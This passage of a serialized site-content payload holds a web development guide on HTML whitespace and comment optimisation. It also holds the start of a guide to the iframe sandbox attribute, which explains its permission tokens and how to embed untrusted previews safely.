-->\n",[1560,128943,128944,128946,128948,128950,128952,128954,128956,128958,128960,128962,128964,128966,128968,128970,128972,128974,128976,128978,128980,128982,128984,128986,128988],{"class":1562,"line":2529},[1560,128945,6431],{"class":1570},[1560,128947,7291],{"class":2484},[1560,128949,11423],{"class":1566},[1560,128951,7297],{"class":1570},[1560,128953,128869],{"class":5634},[1560,128955,41257],{"class":1570},[1560,128957,41446],{"class":2484},[1560,128959,128880],{"class":1570},[1560,128961,41446],{"class":2484},[1560,128963,12441],{"class":1570},[1560,128965,7291],{"class":2484},[1560,128967,41257],{"class":1570},[1560,128969,7291],{"class":2484},[1560,128971,11423],{"class":1566},[1560,128973,7297],{"class":1570},[1560,128975,128909],{"class":5634},[1560,128977,41257],{"class":1570},[1560,128979,16],{"class":2484},[1560,128981,128920],{"class":1570},[1560,128983,16],{"class":2484},[1560,128985,12441],{"class":1570},[1560,128987,7291],{"class":2484},[1560,128989,6441],{"class":1570},[16,128991,128992],{},"You can safely remove all whitespace between block elements without affecting layout.",[11,128994,128996],{"id":128995},"the-inline-element-whitespace-problem","The Inline Element Whitespace Problem",[16,128998,128999,129000,129003],{},"Inline and inline-block elements are different. Whitespace between them ",[47,129001,129002],{},"does render"," — as a single space on screen. This causes the infamous inline-block gap.",[135,129005,129007],{"className":6417,"code":129006,"language":6419,"meta":141,"style":141},"\u003C!-- Renders with gaps between each item -->\n\u003Cnav>\n  \u003Ca href=\"\u002Fhome\">Home\u003C\u002Fa>\n  \u003Ca href=\"\u002Fabout\">About\u003C\u002Fa>\n  \u003Ca href=\"\u002Fcontact\">Contact\u003C\u002Fa>\n\u003C\u002Fnav>\n",[143,129008,129009,129014,129022,129042,129062,129081],{"__ignoreMap":141},[1560,129010,129011],{"class":1562,"line":1563},[1560,129012,129013],{"class":1649},"\u003C!-- Renders with gaps between each item -->\n",[1560,129015,129016,129018,129020],{"class":1562,"line":337},[1560,129017,6431],{"class":1570},[1560,129019,108906],{"class":2484},[1560,129021,6441],{"class":1570},[1560,129023,129024,129026,129028,129030,129032,129035,129038,129040],{"class":1562,"line":343},[1560,129025,11223],{"class":1570},[1560,129027,98],{"class":2484},[1560,129029,41004],{"class":1566},[1560,129031,7297],{"class":1570},[1560,129033,129034],{"class":5634},"\"\u002Fhome\"",[1560,129036,129037],{"class":1570},">Home\u003C\u002F",[1560,129039,98],{"class":2484},[1560,129041,6441],{"class":1570},[1560,129043,129044,129046,129048,129050,129052,129055,129058,129060],{"class":1562,"line":365},[1560,129045,11223],{"class":1570},[1560,129047,98],{"class":2484},[1560,129049,41004],{"class":1566},[1560,129051,7297],{"class":1570},[1560,129053,129054],{"class":5634},"\"\u002Fabout\"",[1560,129056,129057],{"class":1570},">About\u003C\u002F",[1560,129059,98],{"class":2484},[1560,129061,6441],{"class":1570},[1560,129063,129064,129066,129068,129070,129072,129074,129077,129079],{"class":1562,"line":889},[1560,129065,11223],{"class":1570},[1560,129067,98],{"class":2484},[1560,129069,41004],{"class":1566},[1560,129071,7297],{"class":1570},[1560,129073,116380],{"class":5634},[1560,129075,129076],{"class":1570},">Contact\u003C\u002F",[1560,129078,98],{"class":2484},[1560,129080,6441],{"class":1570},[1560,129082,129083,129085,129087],{"class":1562,"line":1710},[1560,129084,11242],{"class":1570},[1560,129086,108906],{"class":2484},[1560,129088,6441],{"class":1570},[16,129090,129091,129092,129095],{},"The browser inserts a space between each ",[143,129093,129094],{},"\u003Ca>"," because of the whitespace in the source. You see visible gaps even though you did not set any margin.",[33,129097,129099],{"id":129098},"solutions-for-the-inline-gap","Solutions for the Inline Gap",[193,129101,129102,129113],{},[196,129103,129104],{},[199,129105,129106,129108,129110],{},[202,129107,7441],{},[202,129109,31483],{},[202,129111,129112],{},"Tradeoff",[211,129114,129115,129125,129138,129152,129166],{},[199,129116,129117,129119,129122],{},[216,129118,20371],{},[216,129120,129121],{},"Put tags on the same line",[216,129123,129124],{},"Harder to read source",[199,129126,129127,129130,129135],{},[216,129128,129129],{},"HTML comments",[216,129131,129132],{},[143,129133,129134],{},"\u003Ca>Home\u003C\u002Fa>\u003C!-- -->\u003Ca>About\u003C\u002Fa>",[216,129136,129137],{},"Verbose but preserves formatting",[199,129139,129140,129143,129149],{},[216,129141,129142],{},"Negative margin",[216,129144,129145,129148],{},[143,129146,129147],{},"margin-left: -4px"," on items",[216,129150,129151],{},"Fragile — varies by font size",[199,129153,129154,129157,129163],{},[216,129155,129156],{},"Font-size zero",[216,129158,129159,129162],{},[143,129160,129161],{},"font-size: 0"," on parent, restore on children",[216,129164,129165],{},"Extra CSS, accessibility concerns",[199,129167,129168,129170,129174],{},[216,129169,65891],{},[216,129171,129172,59424],{},[143,129173,58109],{},[216,129175,129176],{},"Best solution — gaps disappear entirely",[16,129178,129179],{},"Flexbox is the modern fix. It ignores inter-element whitespace entirely, so you can format your HTML however you like without visual side effects.",[11,129181,129183],{"id":129182},"conditional-comments-and-must-preserve-comments","Conditional Comments and Must-Preserve Comments",[16,129185,129186],{},"Not all comments are safe to remove. Some carry functional meaning:",[33,129188,129190],{"id":129189},"legacy-ie-conditional-comments","Legacy IE conditional comments",[135,129192,129194],{"className":6417,"code":129193,"language":6419,"meta":141,"style":141},"\u003C!--[if lt IE 9]>\n  \u003Cscript src=\"html5shiv.js\">\u003C\u002Fscript>\n\u003C![endif]-->\n",[143,129195,129196,129201,129206],{"__ignoreMap":141},[1560,129197,129198],{"class":1562,"line":1563},[1560,129199,129200],{"class":1649},"\u003C!--[if lt IE 9]>\n",[1560,129202,129203],{"class":1562,"line":337},[1560,129204,129205],{"class":1649},"  \u003Cscript src=\"html5shiv.js\">\u003C\u002Fscript>\n",[1560,129207,129208],{"class":1562,"line":343},[1560,129209,129210],{"class":1649},"\u003C![endif]-->\n",[16,129212,129213],{},"If you still support legacy IE (rare in 2026), your minifier must preserve these. Most modern minifiers already do.",[33,129215,129217],{"id":129216},"license-and-copyright-comments","License and copyright comments",[16,129219,129220,129221,129224,129225,468],{},"Some JavaScript and CSS comments contain license text required by open-source licenses. The ",[143,129222,129223],{},"\u002F*!"," prefix signals to most minifiers: ",[47,129226,129227],{},"keep this comment",[135,129229,129231],{"className":6417,"code":129230,"language":6419,"meta":141,"style":141},"\u003C!-- \u002F*! MIT License: github.com\u002Fexample\u002Frepo *\u002F -->\n",[143,129232,129233],{"__ignoreMap":141},[1560,129234,129235],{"class":1562,"line":1563},[1560,129236,129230],{"class":1649},[33,129238,129240],{"id":129239},"seo-and-accessibility-comments","SEO and accessibility comments",[16,129242,129243],{},"Developers sometimes leave comments for screen readers or SEO tools. These are safe to strip because browsers ignore HTML comments entirely — they never reach assistive technology.",[11,129245,129247,129248,1856,129250,87348],{"id":129246},"handling-pre-and-code-tags","Handling ",[143,129249,7479],{},[143,129251,124163],{},[16,129253,129254,129255,1856,129257,16909,129259,129262],{},"Whitespace inside ",[143,129256,7479],{},[143,129258,124163],{},[47,129260,129261],{},"significant",". The browser renders every space, tab, and line break exactly as written.",[135,129264,129266],{"className":6417,"code":129265,"language":6419,"meta":141,"style":141},"\u003Cpre>\nfunction hello() {\n  console.log(\"Hello, world!\")\n}\n\u003C\u002Fpre>\n",[143,129267,129268,129276,129281,129286,129290],{"__ignoreMap":141},[1560,129269,129270,129272,129274],{"class":1562,"line":1563},[1560,129271,6431],{"class":1570},[1560,129273,135],{"class":2484},[1560,129275,6441],{"class":1570},[1560,129277,129278],{"class":1562,"line":337},[1560,129279,129280],{"class":1570},"function hello() {\n",[1560,129282,129283],{"class":1562,"line":343},[1560,129284,129285],{"class":1570},"  console.log(\"Hello, world!\")\n",[1560,129287,129288],{"class":1562,"line":365},[1560,129289,1585],{"class":1570},[1560,129291,129292,129294,129296],{"class":1562,"line":889},[1560,129293,11242],{"class":1570},[1560,129295,135],{"class":2484},[1560,129297,6441],{"class":1570},[16,129299,129300],{},"A naïve minifier that collapses whitespace would destroy this formatting. Your minifier must either:",[77,129302,129303,129314],{},[44,129304,129305,129308,129309,1856,129311,129313],{},[47,129306,129307],{},"Skip"," whitespace inside ",[143,129310,7479],{},[143,129312,124163],{}," blocks entirely",[44,129315,129316,129319],{},[47,129317,129318],{},"Preserve"," the content verbatim while minifying everything else",[16,129321,129322,129323,129325],{},"Most established HTML minifiers handle this correctly out of the box. But if you write a custom minification pipeline, test it against ",[143,129324,7479],{}," blocks first.",[33,129327,129329],{"id":129328},"the-leading-newline-gotcha","The leading newline gotcha",[16,129331,129332,129333,129335],{},"Browsers strip the first newline inside ",[143,129334,7479],{}," tags. If you write:",[135,129337,129339],{"className":6417,"code":129338,"language":6419,"meta":141,"style":141},"\u003Cpre>\nLine one\nLine two\n\u003C\u002Fpre>\n",[143,129340,129341,129349,129354,129359],{"__ignoreMap":141},[1560,129342,129343,129345,129347],{"class":1562,"line":1563},[1560,129344,6431],{"class":1570},[1560,129346,135],{"class":2484},[1560,129348,6441],{"class":1570},[1560,129350,129351],{"class":1562,"line":337},[1560,129352,129353],{"class":1570},"Line one\n",[1560,129355,129356],{"class":1562,"line":343},[1560,129357,129358],{"class":1570},"Line two\n",[1560,129360,129361,129363,129365],{"class":1562,"line":365},[1560,129362,11242],{"class":1570},[1560,129364,135],{"class":2484},[1560,129366,6441],{"class":1570},[16,129368,129369],{},"The rendered output starts at \"Line one\" — the initial newline disappears. Some developers add a leading newline for source readability, then wonder where minification \"broke\" things. It was always being stripped; minification just made it visible.",[11,129371,129373],{"id":129372},"template-engine-output-compression","Template Engine Output Compression",[16,129375,129376],{},"Template engines — Twig, Handlebars, Jinja, EJS — generate HTML from templates. The template's whitespace carries through to the output unless you explicitly strip it.",[33,129378,129380],{"id":129379},"twig-laravel-blade","Twig \u002F Laravel Blade",[135,129382,129386],{"className":129383,"code":129384,"language":129385,"meta":141,"style":141},"language-twig shiki shiki-themes github-light github-dark","{# Use the spaceless tag #}\n{% spaceless %}\n  \u003Cdiv>\n    \u003Cp>Content\u003C\u002Fp>\n  \u003C\u002Fdiv>\n{% endspaceless %}\n\n{# Output: \u003Cdiv>\u003Cp>Content\u003C\u002Fp>\u003C\u002Fdiv> #}\n","twig",[143,129387,129388,129393,129398,129403,129408,129413,129418,129422],{"__ignoreMap":141},[1560,129389,129390],{"class":1562,"line":1563},[1560,129391,129392],{},"{# Use the spaceless tag #}\n",[1560,129394,129395],{"class":1562,"line":337},[1560,129396,129397],{},"{% spaceless %}\n",[1560,129399,129400],{"class":1562,"line":343},[1560,129401,129402],{},"  \u003Cdiv>\n",[1560,129404,129405],{"class":1562,"line":365},[1560,129406,129407],{},"    \u003Cp>Content\u003C\u002Fp>\n",[1560,129409,129410],{"class":1562,"line":889},[1560,129411,129412],{},"  \u003C\u002Fdiv>\n",[1560,129414,129415],{"class":1562,"line":1710},[1560,129416,129417],{},"{% endspaceless %}\n",[1560,129419,129420],{"class":1562,"line":1717},[1560,129421,1702],{"emptyLinePlaceholder":363},[1560,129423,129424],{"class":1562,"line":1747},[1560,129425,129426],{},"{# Output: \u003Cdiv>\u003Cp>Content\u003C\u002Fp>\u003C\u002Fdiv> #}\n",[33,129428,129430],{"id":129429},"handlebars","Handlebars",[16,129432,129433,129434,129436],{},"Handlebars preserves whitespace by default. Use the ",[143,129435,6845],{}," tilde operator to strip whitespace around expressions:",[135,129438,129441],{"className":129439,"code":129440,"language":129429,"meta":141,"style":141},"language-handlebars shiki shiki-themes github-light github-dark","{{#each items~}}\n  \u003Cli>{{this}}\u003C\u002Fli>\n{{~\u002Feach}}\n",[143,129442,129443,129448,129453],{"__ignoreMap":141},[1560,129444,129445],{"class":1562,"line":1563},[1560,129446,129447],{},"{{#each items~}}\n",[1560,129449,129450],{"class":1562,"line":337},[1560,129451,129452],{},"  \u003Cli>{{this}}\u003C\u002Fli>\n",[1560,129454,129455],{"class":1562,"line":343},[1560,129456,129457],{},"{{~\u002Feach}}\n",[33,129459,118818],{"id":129460},"jinja2",[135,129462,129466],{"className":129463,"code":129464,"language":129465,"meta":141,"style":141},"language-jinja shiki shiki-themes github-light github-dark","{%- for item in items %}\n  \u003Cli>{{ item }}\u003C\u002Fli>\n{%- endfor %}\n","jinja",[143,129467,129468,129473,129478],{"__ignoreMap":141},[1560,129469,129470],{"class":1562,"line":1563},[1560,129471,129472],{},"{%- for item in items %}\n",[1560,129474,129475],{"class":1562,"line":337},[1560,129476,129477],{},"  \u003Cli>{{ item }}\u003C\u002Fli>\n",[1560,129479,129480],{"class":1562,"line":343},[1560,129481,129482],{},"{%- endfor %}\n",[16,129484,421,129485,98763,129487,129490],{},[143,129486,9412],{},[143,129488,129489],{},"{%-"," strips whitespace before the tag. These template-level tricks reduce output size before any post-processing minifier runs.",[11,129492,129494],{"id":129493},"comment-optimization-strategies","Comment Optimization Strategies",[193,129496,129497,129507],{},[196,129498,129499],{},[199,129500,129501,129503,129505],{},[202,129502,39330],{},[202,129504,55330],{},[202,129506,34974],{},[211,129508,129509,129520,129531,129542],{},[199,129510,129511,129514,129517],{},[216,129512,129513],{},"Strip all comments",[216,129515,129516],{},"Production builds",[216,129518,129519],{},"5–15% size reduction",[199,129521,129522,129525,129528],{},[216,129523,129524],{},"Preserve license comments",[216,129526,129527],{},"Open-source dependencies",[216,129529,129530],{},"Legal compliance",[199,129532,129533,129536,129539],{},[216,129534,129535],{},"Preserve conditional comments",[216,129537,129538],{},"Legacy IE support",[216,129540,129541],{},"Functional necessity",[199,129543,129544,129547,129550],{},[216,129545,129546],{},"Strip TODO\u002FFIXME comments",[216,129548,129549],{},"Always — they belong in source only",[216,129551,129552],{},"Removes debugging noise",[16,129554,129555],{},"The best practice: keep every comment in development, strip everything except license blocks in production.",[11,129557,129559],{"id":129558},"practical-checklist","Practical Checklist",[16,129561,129562],{},"Before you deploy, verify these items:",[77,129564,129565,129568,129571,129578,129581,129584],{},[44,129566,129567],{},"Whitespace between block elements is removed or compressed",[44,129569,129570],{},"Inline element whitespace gaps are handled (prefer Flexbox)",[44,129572,129573,1856,129575,129577],{},[143,129574,7479],{},[143,129576,124163],{}," content is untouched",[44,129579,129580],{},"Conditional and license comments are preserved",[44,129582,129583],{},"Template engine whitespace controls are enabled",[44,129585,129586],{},"Your minifier's output passes visual regression tests",[11,129588,1355],{"id":1354},[41,129590,129591,129594,129597,129604,129607,129610],{},[44,129592,129593],{},"Block-element whitespace is safe to remove entirely — browsers ignore it visually",[44,129595,129596],{},"Inline-element whitespace renders as gaps; use Flexbox to eliminate them",[44,129598,129599,1856,129601,129603],{},[143,129600,7479],{},[143,129602,124163],{}," whitespace is significant and must not be compressed",[44,129605,129606],{},"Conditional comments and license blocks need explicit preservation in minifiers",[44,129608,129609],{},"Template engines offer built-in whitespace stripping — use it before post-processing",[44,129611,129612],{},"Comment stripping typically saves 5–15% on production HTML payloads",[11,129614,321],{"id":320},[41,129616,129617,129621,129625],{},[44,129618,129619],{},[98,129620,124196],{"href":50523},[44,129622,129623],{},[98,129624,125076],{"href":125075},[44,129626,129627],{},[98,129628,21351],{"href":21350},[11,129630,286],{"id":285},[16,129632,129633,129634,129636],{},"Clean up whitespace and strip unnecessary comments with our free ",[98,129635,125088],{"href":124175}," tool. Paste your HTML, choose what to remove, and get optimized output instantly.",[2043,129638,129639],{},"html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .s9eBZ, html code.shiki .s9eBZ{--shiki-default:#22863A;--shiki-dark:#85E89D}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}",{"title":141,"searchDepth":337,"depth":337,"links":129641},[129642,129643,129644,129645,129648,129653,129657,129662,129663,129664,129665,129666],{"id":128733,"depth":337,"text":128734},{"id":128743,"depth":337,"text":128744},{"id":128834,"depth":337,"text":128835},{"id":128995,"depth":337,"text":128996,"children":129646},[129647],{"id":129098,"depth":343,"text":129099},{"id":129182,"depth":337,"text":129183,"children":129649},[129650,129651,129652],{"id":129189,"depth":343,"text":129190},{"id":129216,"depth":343,"text":129217},{"id":129239,"depth":343,"text":129240},{"id":129246,"depth":337,"text":129654,"children":129655},"Handling \u003Cpre> and \u003Ccode> Tags",[129656],{"id":129328,"depth":343,"text":129329},{"id":129372,"depth":337,"text":129373,"children":129658},[129659,129660,129661],{"id":129379,"depth":343,"text":129380},{"id":129429,"depth":343,"text":129430},{"id":129460,"depth":343,"text":118818},{"id":129493,"depth":337,"text":129494},{"id":129558,"depth":337,"text":129559},{"id":1354,"depth":337,"text":1355},{"id":320,"depth":337,"text":321},{"id":285,"depth":337,"text":286},"Optimize HTML whitespace and comments — types of whitespace, inline element gaps, conditional comments, pre tags, and template engine output.",{"immutable":363},{"title":125070,"description":129667},"guides\u002Fhtml-whitespace-optimization","cgMyWaM51xvThUJu-Nblk143p6H-1vW2bY0ywUNhhqc",{"id":129673,"title":129674,"body":129675,"date":2070,"description":130257,"extension":361,"meta":130258,"navigation":363,"path":130259,"readingTime":1710,"seo":130260,"stem":130261,"__hash__":130262},"guides\u002Fguides\u002Fiframe-sandbox-security.md","Iframe Sandbox Attribute Guide",{"type":8,"value":129676,"toc":130250},[129677,129686,129690,129696,129728,129734,129836,129840,129843,129981,129985,130000,130006,130009,130043,130045,130050,130125,130133,130138,130176,130179,130184,130221,130224,130228,130240,130247],[16,129678,129679,129680,129682,129683,129685],{},"Embedding untrusted HTML in a page—whether for a live preview, a third-party widget, or user-submitted content—carries significant risk. Without restrictions, an embedded frame can redirect the parent page, access cookies, trigger downloads, or run popup windows. The ",[143,129681,126999],{}," attribute on ",[143,129684,110217],{}," elements applies the principle of least privilege, granting only the permissions an embedded document genuinely needs.",[11,129687,129689],{"id":129688},"the-sandbox-security-model","The Sandbox Security Model",[16,129691,129692,129693,129695],{},"When you add the ",[143,129694,126999],{}," attribute to an iframe, the embedded document is placed under the strictest possible restrictions. It cannot:",[41,129697,129698,129701,129704,129707,129710,129713,129716],{},[44,129699,129700],{},"Submit forms",[44,129702,129703],{},"Run scripts",[44,129705,129706],{},"Navigate the parent page",[44,129708,129709],{},"Access same-origin resources (cookies, localStorage, DOM)",[44,129711,129712],{},"Open popups or new windows",[44,129714,129715],{},"Trigger modal dialogs (alert, prompt, confirm)",[44,129717,18550,129718,1459,129721,1877,129724,129727],{},[143,129719,129720],{},"pointerlock",[143,129722,129723],{},"autoplay",[143,129725,129726],{},"payment"," APIs",[16,129729,129730,129731,129733],{},"Every permission must be explicitly granted through a token added to the ",[143,129732,126999],{}," value. This deny-by-default model ensures that forgetting a restriction is safe—only forgetting to grant a permission causes functionality to break, and breakage is visible.",[135,129735,129737],{"className":6417,"code":129736,"language":6419,"meta":141,"style":141},"\u003C!-- Maximum lockdown: no scripts, no forms, no navigation -->\n\u003Ciframe sandbox src=\"https:\u002F\u002Funtrusted.example.com\u002Fembed\">\u003C\u002Fiframe>\n\n\u003C!-- Allow scripts but nothing else -->\n\u003Ciframe sandbox=\"allow-scripts\" src=\"\u002Fpreview\u002Fuser-code\">\u003C\u002Fiframe>\n\n\u003C!-- Allow scripts and same-origin access -->\n\u003Ciframe sandbox=\"allow-scripts allow-same-origin\" src=\"\u002Fwidget\">\u003C\u002Fiframe>\n",[143,129738,129739,129744,129766,129770,129775,129801,129805,129810],{"__ignoreMap":141},[1560,129740,129741],{"class":1562,"line":1563},[1560,129742,129743],{"class":1649},"\u003C!-- Maximum lockdown: no scripts, no forms, no navigation -->\n",[1560,129745,129746,129748,129750,129753,129755,129757,129760,129762,129764],{"class":1562,"line":337},[1560,129747,6431],{"class":1570},[1560,129749,126972],{"class":2484},[1560,129751,129752],{"class":1566}," sandbox",[1560,129754,10631],{"class":1566},[1560,129756,7297],{"class":1570},[1560,129758,129759],{"class":5634},"\"https:\u002F\u002Funtrusted.example.com\u002Fembed\"",[1560,129761,12441],{"class":1570},[1560,129763,126972],{"class":2484},[1560,129765,6441],{"class":1570},[1560,129767,129768],{"class":1562,"line":343},[1560,129769,1702],{"emptyLinePlaceholder":363},[1560,129771,129772],{"class":1562,"line":365},[1560,129773,129774],{"class":1649},"\u003C!-- Allow scripts but nothing else -->\n",[1560,129776,129777,129779,129781,129783,129785,129788,129790,129792,129795,129797,129799],{"class":1562,"line":889},[1560,129778,6431],{"class":1570},[1560,129780,126972],{"class":2484},[1560,129782,129752],{"class":1566},[1560,129784,7297],{"class":1570},[1560,129786,129787],{"class":5634},"\"allow-scripts\"",[1560,129789,10631],{"class":1566},[1560,129791,7297],{"class":1570},[1560,129793,129794],{"class":5634},"\"\u002Fpreview\u002Fuser-code\"",[1560,129796,12441],{"class":1570},[1560,129798,126972],{"class":2484},[1560,129800,6441],{"class":1570},[1560,129802,129803],{"class":1562,"line":1710},[1560,129804,1702],{"emptyLinePlaceholder":363},[1560,129806,129807],{"class":1562,"line":1717},[1560,129808,129809],{"class":1649},"\u003C!-- Allow scripts and same-origin access -->\n",[1560,129811,129812,129814,129816,129818,129820,129823,129825,129827,129830,129832,129834],{"class":1562,"line":1747},[1560,129813,6431],{"class":1570},[1560,129815,126972],{"class":2484},[1560,129817,129752],{"class":1566},[1560,129819,7297],{"class":1570},[1560,129821,129822],{"class":5634},"\"allow-scripts allow-same-origin\"",[1560,129824,10631],{"class":1566},[1560,129826,7297],{"class":1570},[1560,129828,129829],{"class":5634},"\"\u002Fwidget\"",[1560,129831,12441],{"class":1570},[1560,129833,126972],{"class":2484},[1560,129835,6441],{"class":1570},[11,129837,129839],{"id":129838},"sandbox-token-reference","Sandbox Token Reference",[16,129841,129842],{},"Each token grants a specific capability. Combine multiple tokens as a space-separated list.",[193,129844,129845,129856],{},[196,129846,129847],{},[199,129848,129849,129851,129854],{},[202,129850,4028],{},[202,129852,129853],{},"Grants",[202,129855,15422],{},[211,129857,129858,129869,129881,129892,129908,129921,129933,129946,129958,129969],{},[199,129859,129860,129864,129866],{},[216,129861,129862],{},[143,129863,127026],{},[216,129865,127029],{},[216,129867,129868],{},"High — scripts combined with same-origin can escape the sandbox",[199,129870,129871,129875,129878],{},[216,129872,129873],{},[143,129874,127039],{},[216,129876,129877],{},"Access to parent's cookies and storage",[216,129879,129880],{},"High — see warning below",[199,129882,129883,129887,129889],{},[216,129884,129885],{},[143,129886,127052],{},[216,129888,127055],{},[216,129890,129891],{},"Medium — forms can send data to external servers",[199,129893,129894,129898,129905],{},[216,129895,129896],{},[143,129897,127065],{},[216,129899,129900,129901,129904],{},"Opening ",[143,129902,129903],{},"window.open"," links",[216,129906,129907],{},"Medium — popups escape sandbox restrictions",[199,129909,129910,129915,129918],{},[216,129911,129912],{},[143,129913,129914],{},"allow-popups-to-escape-sandbox",[216,129916,129917],{},"Popups inherit parent privileges",[216,129919,129920],{},"Low — popups get full permissions",[199,129922,129923,129928,129930],{},[216,129924,129925],{},[143,129926,129927],{},"allow-top-navigation",[216,129929,129706],{},[216,129931,129932],{},"High — can redirect users away",[199,129934,129935,129940,129943],{},[216,129936,129937],{},[143,129938,129939],{},"allow-top-navigation-by-user-activation",[216,129941,129942],{},"Navigate parent only on user click",[216,129944,129945],{},"Medium — safer than unrestricted navigation",[199,129947,129948,129953,129956],{},[216,129949,129950],{},[143,129951,129952],{},"allow-downloads",[216,129954,129955],{},"Download files",[216,129957,15466],{},[199,129959,129960,129964,129967],{},[216,129961,129962],{},[143,129963,127077],{},[216,129965,129966],{},"Use alert\u002Fconfirm\u002Fprompt",[216,129968,15466],{},[199,129970,129971,129976,129979],{},[216,129972,129973],{},[143,129974,129975],{},"allow-presentation",[216,129977,129978],{},"Use Presentation API",[216,129980,15466],{},[11,129982,129984],{"id":129983},"the-scripts-same-origin-trap","The Scripts + Same-Origin Trap",[16,129986,129987,129988,129996,129997,129999],{},"The most critical security consideration: ",[47,129989,129990,129991,1856,129993,129995],{},"never combine ",[143,129992,127026],{},[143,129994,127039],{}," on the same iframe that loads untrusted content."," When both tokens are present, the embedded document can use JavaScript to remove its own ",[143,129998,126999],{}," attribute from the parent's DOM, effectively escaping all restrictions.",[16,130001,130002,130003,130005],{},"This combination is safe only when the embedded content is fully trusted (such as a same-domain widget) or when the iframe's ",[143,130004,116758],{}," is a data URI or blob URL that has no origin to align with the parent.",[16,130007,130008],{},"For HTML preview tools—the exact use case that demands both tokens—you must use additional defenses:",[41,130010,130011,130024,130037],{},[44,130012,130013,130018,130019,130021,130022,468],{},[47,130014,130015,130016,87420],{},"Set the iframe's ",[143,130017,126923],{}," instead of a URL. Content in ",[143,130020,126923],{}," is treated as a unique opaque origin that never matches the parent, even with ",[143,130023,127039],{},[44,130025,130026,130029,130030,130033,130034,468],{},[47,130027,130028],{},"Use a separate subdomain"," with its own origin. Serve preview content from ",[143,130031,130032],{},"preview.yourapp.com"," while the parent runs on ",[143,130035,130036],{},"app.yourapp.com",[44,130038,130039,130042],{},[47,130040,130041],{},"Deploy Content Security Policy (CSP)"," headers within the iframe to further restrict script behavior.",[11,130044,65161],{"id":65160},[16,130046,130047],{},[47,130048,130049],{},"Secure live preview for a code playground:",[135,130051,130053],{"className":6417,"code":130052,"language":6419,"meta":141,"style":141},"\u003Ciframe\n  sandbox=\"allow-scripts\"\n  srcdoc=\"\u003Chtml>\u003Cbody>\u003Ch1>Hello\u003C\u002Fh1>\u003Cscript>document.body.style.color='red'\u003C\u002Fscript>\u003C\u002Fbody>\u003C\u002Fhtml>\"\n>\u003C\u002Fiframe>\n",[143,130054,130055,130061,130069,130117],{"__ignoreMap":141},[1560,130056,130057,130059],{"class":1562,"line":1563},[1560,130058,6431],{"class":1570},[1560,130060,126936],{"class":2484},[1560,130062,130063,130065,130067],{"class":1562,"line":337},[1560,130064,126960],{"class":1566},[1560,130066,7297],{"class":1570},[1560,130068,126965],{"class":5634},[1560,130070,130071,130073,130075,130077,130079,130082,130084,130087,130089,130092,130094,130097,130099,130102,130104,130107,130109,130112,130114],{"class":1562,"line":343},[1560,130072,126941],{"class":1566},[1560,130074,7297],{"class":1570},[1560,130076,8721],{"class":5634},[1560,130078,6431],{"class":5159},[1560,130080,130081],{"class":5634},"html>",[1560,130083,6431],{"class":5159},[1560,130085,130086],{"class":5634},"body>",[1560,130088,6431],{"class":5159},[1560,130090,130091],{"class":5634},"h1>Hello",[1560,130093,6431],{"class":5159},[1560,130095,130096],{"class":5634},"\u002Fh1>",[1560,130098,6431],{"class":5159},[1560,130100,130101],{"class":5634},"script>document.body.style.color='red'",[1560,130103,6431],{"class":5159},[1560,130105,130106],{"class":5634},"\u002Fscript>",[1560,130108,6431],{"class":5159},[1560,130110,130111],{"class":5634},"\u002Fbody>",[1560,130113,6431],{"class":5159},[1560,130115,130116],{"class":5634},"\u002Fhtml>\"\n",[1560,130118,130119,130121,130123],{"class":1562,"line":365},[1560,130120,12441],{"class":1570},[1560,130122,126972],{"class":2484},[1560,130124,6441],{"class":1570},[16,130126,61185,130127,130129,130130,130132],{},[143,130128,126923],{}," ensures the content has a unique origin. Scripts run but cannot access the parent page. No ",[143,130131,127039],{}," token is needed.",[16,130134,130135],{},[47,130136,130137],{},"Embedding a trusted internal widget:",[135,130139,130141],{"className":6417,"code":130140,"language":6419,"meta":141,"style":141},"\u003Ciframe\n  sandbox=\"allow-scripts allow-same-origin allow-forms\"\n  src=\"\u002Fwidgets\u002Fanalytics-dashboard\"\n>\u003C\u002Fiframe>\n",[143,130142,130143,130149,130158,130168],{"__ignoreMap":141},[1560,130144,130145,130147],{"class":1562,"line":1563},[1560,130146,6431],{"class":1570},[1560,130148,126936],{"class":2484},[1560,130150,130151,130153,130155],{"class":1562,"line":337},[1560,130152,126960],{"class":1566},[1560,130154,7297],{"class":1570},[1560,130156,130157],{"class":5634},"\"allow-scripts allow-same-origin allow-forms\"\n",[1560,130159,130160,130163,130165],{"class":1562,"line":343},[1560,130161,130162],{"class":1566},"  src",[1560,130164,7297],{"class":1570},[1560,130166,130167],{"class":5634},"\"\u002Fwidgets\u002Fanalytics-dashboard\"\n",[1560,130169,130170,130172,130174],{"class":1562,"line":365},[1560,130171,12441],{"class":1570},[1560,130173,126972],{"class":2484},[1560,130175,6441],{"class":1570},[16,130177,130178],{},"Safe because the source is same-origin and fully controlled.",[16,130180,130181],{},[47,130182,130183],{},"Embedding a third-party video player:",[135,130185,130187],{"className":6417,"code":130186,"language":6419,"meta":141,"style":141},"\u003Ciframe\n  sandbox=\"allow-scripts allow-presentation\"\n  